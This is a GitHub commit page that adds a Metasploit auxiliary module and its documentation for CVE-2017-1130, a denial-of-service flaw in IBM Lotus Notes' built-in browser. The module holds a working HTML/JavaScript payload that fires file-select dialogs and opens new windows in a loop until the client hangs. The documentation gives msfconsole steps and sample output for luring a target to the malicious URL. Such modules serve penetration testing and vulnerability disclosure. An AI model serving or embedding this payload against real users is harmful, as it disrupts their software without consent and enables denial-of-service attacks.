Skip to content

Commit fc87ee0

Browse files
pbarry-r7pbarry-r7
committed
Land rapid7#9060, IBM Lotus Notes DoS (CVE-2017-1130).
2 parents 92c5b27 + 85b8b41 commit fc87ee0

File tree

2 files changed

+137
-0
lines changed

2 files changed

+137
-0
lines changed

‎documentation/modules/auxiliary/dos/http/ibm_lotus_notes2.md

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
This module exploits a vulnerability in the built-in web-browser of IBM Lotus Notes client application.
3+
4+
If a user is persuaded to click on a malicious link, it would open up many file select dialog boxes which,
5+
would cause the client hang and have to be restarted.
6+
7+
Affected Products and Versions
8+
9+
IBM Notes 9.0.1 to 9.0.1 FP8 IF1
10+
IBM Notes 9.0 to 9.0 IF4.
11+
IBM Notes 8.5.3 to 8.5.3 FP6 IF13.
12+
IBM Notes 8.5.2 to 8.5.2 FP4 IF3.
13+
IBM Notes 8.5.1. to 8.5.1 FP5 IF5.
14+
IBM Notes 8.5 release
15+
16+
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
17+
18+
## Verification
19+
20+
Start msfconsole
21+
22+
`use auxiliary/dos/http/ibm_lotus_notes2.rb`
23+
24+
Set `SRVHOST`
25+
26+
Set `SRVPORT`
27+
28+
run (Server started)
29+
Visit server URL in the built-in web-browser of IBM Notes client application
30+
31+
## Scenarios
32+
33+
```
34+
msf > use auxiliary/dos/http/ibm_lotus_notes2
35+
msf auxiliary(ibm_lotus_notes2) > show options
36+
37+
Module options (auxiliary/dos/http/ibm_lotus_notes2):
38+
39+
Name Current Setting Required Description
40+
---- --------------- -------- -----------
41+
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
42+
SRVPORT 8080 yes The local port to listen on.
43+
SSL false no Negotiate SSL for incoming connections
44+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
45+
URIPATH no The URI to use for this exploit (default is random)
46+
47+
48+
Auxiliary action:
49+
50+
Name Description
51+
---- -----------
52+
WebServer
53+
54+
55+
msf auxiliary(ibm_lotus_notes2) > set SRVHOST 192.168.0.50
56+
SRVHOST => 192.168.0.50
57+
msf auxiliary(ibm_lotus_notes2) > set SRVPORT 9092
58+
SRVPORT => 9092
59+
msf auxiliary(ibm_lotus_notes2) > run
60+
[*] Auxiliary module execution completed
61+
msf auxiliary(ibm_lotus_notes2) >
62+
[*] Using URL: http://192.168.0.50:9092/mypath
63+
[*] Server started.
64+
msf auxiliary(ibm_lotus_notes2) >
65+
```
66+
67+
At this point, the target should use the built-in web browser of their IBM Lotus Notes client to navigate to the above "Using URL" value. And then they should see their Notes app become unresponsive.

‎modules/auxiliary/dos/http/ibm_lotus_notes2.rb

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpServer
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => "IBM Notes Denial Of Service",
14+
'Description' => %q(
15+
This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.
16+
If successful, the browser will crash after viewing the webpage.
17+
),
18+
'License' => MSF_LICENSE,
19+
'Author' => [
20+
'Dhiraj Mishra',
21+
],
22+
'References' => [
23+
['EDB', '42604'],
24+
[ 'CVE', '2017-1130' ]
25+
],
26+
'DisclosureDate' => 'Aug 31 2017',
27+
'Actions' => [[ 'WebServer' ]],
28+
'PassiveActions' => [ 'WebServer' ],
29+
'DefaultAction' => 'WebServer'
30+
)
31+
)
32+
end
33+
34+
def run
35+
exploit # start http server
36+
end
37+
38+
def setup
39+
@html = %|
40+
<html><body>
41+
<input type="file" id="f">
42+
<script>
43+
var w;
44+
var kins = {};
45+
var i = 1;
46+
f.click();
47+
setInterval("f.click()", 1);
48+
setInterval(function(){
49+
for (var k in kins) {
50+
if (kins[k] && kins[k].status === undefined) {
51+
kins[k].close();
52+
delete kins[k];
53+
}
54+
}
55+
w = open('data:text/html,<input type="file" id="f"><script>f.click();setInterval("f.click()", 1);<\\/script>');
56+
if (w) {
57+
kins[i] = w;
58+
i++;
59+
}
60+
}, 1);
61+
</script>
62+
</body></html>
63+
|
64+
end
65+
66+
def on_request_uri(cli, _request)
67+
print_status('Sending response')
68+
send_response(cli, @html)
69+
end
70+
end

0 commit comments

Comments
 (0)